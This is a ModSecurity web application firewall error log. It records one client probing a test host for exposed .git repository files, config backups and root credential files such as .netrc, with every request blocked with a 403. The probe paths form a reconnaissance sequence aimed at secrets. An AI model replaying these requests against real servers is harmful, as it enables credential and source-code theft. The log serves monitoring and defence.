[Sun Mar 22 01:06:02.935527 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97fgAAAAE&quot;]
[Sun Mar 22 01:06:02.935698 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97fgAAAAE&quot;]
[Sun Mar 22 01:06:02.958188 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/post-commit&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97fwAAAAE&quot;]
[Sun Mar 22 01:06:02.958406 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97fwAAAAE&quot;]
[Sun Mar 22 01:06:02.958550 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97fwAAAAE&quot;]
[Sun Mar 22 01:06:02.980563 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97gAAAAAE&quot;]
[Sun Mar 22 01:06:02.980745 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97gAAAAAE&quot;]
[Sun Mar 22 01:06:02.980866 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97gAAAAAE&quot;]
[Sun Mar 22 01:06:03.002938 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/info&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/info&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97gQAAAAE&quot;]
[Sun Mar 22 01:06:03.003132 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/info&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97gQAAAAE&quot;]
[Sun Mar 22 01:06:03.003247 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/info&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97gQAAAAE&quot;]
[Sun Mar 22 01:06:03.025293 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/pack&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/pack&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97ggAAAAE&quot;]
[Sun Mar 22 01:06:03.025495 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/pack&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97ggAAAAE&quot;]
[Sun Mar 22 01:06:03.025633 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/pack&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97ggAAAAE&quot;]
[Sun Mar 22 01:06:03.047400 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.bak&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97gwAAAAE&quot;]
[Sun Mar 22 01:06:03.047626 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.bak&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97gwAAAAE&quot;]
[Sun Mar 22 01:06:03.047798 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.bak&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97gwAAAAE&quot;]
[Sun Mar 22 01:06:03.047920 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.bak&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97gwAAAAE&quot;]
[Sun Mar 22 01:06:03.069742 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.old&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97hAAAAAE&quot;]
[Sun Mar 22 01:06:03.069961 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.old&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97hAAAAAE&quot;]
[Sun Mar 22 01:06:03.070138 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.old&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97hAAAAAE&quot;]
[Sun Mar 22 01:06:03.070259 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config.old&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97hAAAAAE&quot;]
[Sun Mar 22 01:06:03.092332 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config~&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97hQAAAAE&quot;]
[Sun Mar 22 01:06:03.092513 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config~&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97hQAAAAE&quot;]
[Sun Mar 22 01:06:03.092648 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config~&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97hQAAAAE&quot;]
[Sun Mar 22 01:06:03.114821 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97hgAAAAE&quot;]
[Sun Mar 22 01:06:03.115009 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97hgAAAAE&quot;]
[Sun Mar 22 01:06:03.115139 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97hgAAAAE&quot;]
[Sun Mar 22 01:06:03.159583 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.gitconfig&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitconfig found within REQUEST_FILENAME: /root/.gitconfig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.gitconfig&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97iAAAAAE&quot;]
[Sun Mar 22 01:06:03.159766 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.gitconfig&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97iAAAAAE&quot;]
[Sun Mar 22 01:06:03.159896 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.gitconfig&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97iAAAAAE&quot;]
[Sun Mar 22 01:06:03.182135 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.netrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .netrc found within REQUEST_FILENAME: /root/.netrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname 